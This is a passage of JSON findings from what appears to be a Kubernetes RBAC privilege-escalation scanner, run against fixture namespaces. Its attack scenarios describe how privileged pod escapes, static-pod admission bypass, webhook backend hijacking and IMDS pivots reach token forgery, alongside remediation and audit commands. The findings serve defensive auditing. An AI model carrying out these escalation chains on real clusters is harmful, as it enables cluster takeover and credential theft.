    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-pod-create-escape` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/cutres/cutres-doublebind:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-doublebind` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-doublebind` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/cutres/cutres-doublebind` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n  2. `ServiceAccount/cutres/cutres-doublebind` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-doublebind",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-doublebind` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-doublebind` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cutres/cutres-doublebind`.",
      "Acting as `ServiceAccount/cutres/cutres-doublebind`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Acting as `ServiceAccount/cutres/cutres-doublebind`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/cutres/cutres-doublebind` → `/`). Evaluated cut: removing this subject from the `cutres-pod-creator-a` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/cutres/cutres-doublebind` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "cutres-pod-creator-a",
        "source_role": "cutres-pod-creator",
        "binding_namespace": "cutres-pods-a"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "cutres-pod-creator-b",
        "source_role": "cutres-pod-creator",
        "binding_namespace": "cutres-pods-b"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/foothold-fixtures/foothold-priv:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-fixtures/foothold-priv` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/foothold-fixtures/foothold-priv` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `pod_host_escape` (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged\n  2. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-priv",
      "namespace": "foothold-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-fixtures/foothold-priv` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/foothold-fixtures/foothold-priv` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-fixtures/foothold-priv`.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [privileged]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `privileged` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-priv` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `privileged` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-priv` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/hookbackend-fixtures/hookbackend-operator:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/hookbackend-fixtures/hookbackend-operator` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/hookbackend-fixtures/hookbackend-operator` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `control_plane_backend_hijack` (write services + read secrets in hookbackend-fixtures): can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials\n  2. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/hookbackend-fixtures/hookbackend-operator` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/hookbackend-fixtures/hookbackend-operator`.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker takes over a Service the API server itself calls (`write services + read secrets in hookbackend-fixtures`): it steers the Service's traffic to a pod it controls and presents the backend's serving certificate, which the namespace's Secrets or pods hand it. Every request the API server sends that backend, admission reviews or aggregated API calls carrying the API server's own credentials, now arrives at the attacker.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. control_plane_backend_hijack [write services + read secrets in hookbackend-fixtures]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "control_plane_backend_hijack",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "control_plane_backend_hijack",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `write services + read secrets in hookbackend-fixtures` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `write services + read secrets in hookbackend-fixtures` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "control_plane_backend_hijack",
        "technique": "KUBE-PRIVESC-038",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write services + read secrets in hookbackend-fixtures",
        "gains": "can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/local-path-storage/local-path-provisioner-service-account:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/local-path-storage/local-path-provisioner-service-account` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/local-path-storage/local-path-provisioner-service-account` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n  2. `ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/local-path-storage/local-path-provisioner-service-account` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/local-path-storage/local-path-provisioner-service-account`.",
      "Acting as `ServiceAccount/local-path-storage/local-path-provisioner-service-account`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Acting as `ServiceAccount/local-path-storage/local-path-provisioner-service-account`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/`). Evaluated cut: removing this subject from the `local-path-provisioner-bind` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "local-path-provisioner-bind",
        "source_role": "local-path-provisioner-role",
        "binding_namespace": "local-path-storage"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod local-path-storage/local-path-provisioner-67b8995b4b-49fft falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/map-fixtures/sa-mutating-policy:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/map-fixtures/sa-mutating-policy` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/map-fixtures/sa-mutating-policy` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/map-fixtures/sa-mutating-policy` → `/` via `mutating_policy_inject` (create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings): can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time\n  2. `ServiceAccount/map-fixtures/sa-mutating-policy` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-mutating-policy",
      "namespace": "map-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/map-fixtures/sa-mutating-policy` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/map-fixtures/sa-mutating-policy` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/map-fixtures/sa-mutating-policy`.",
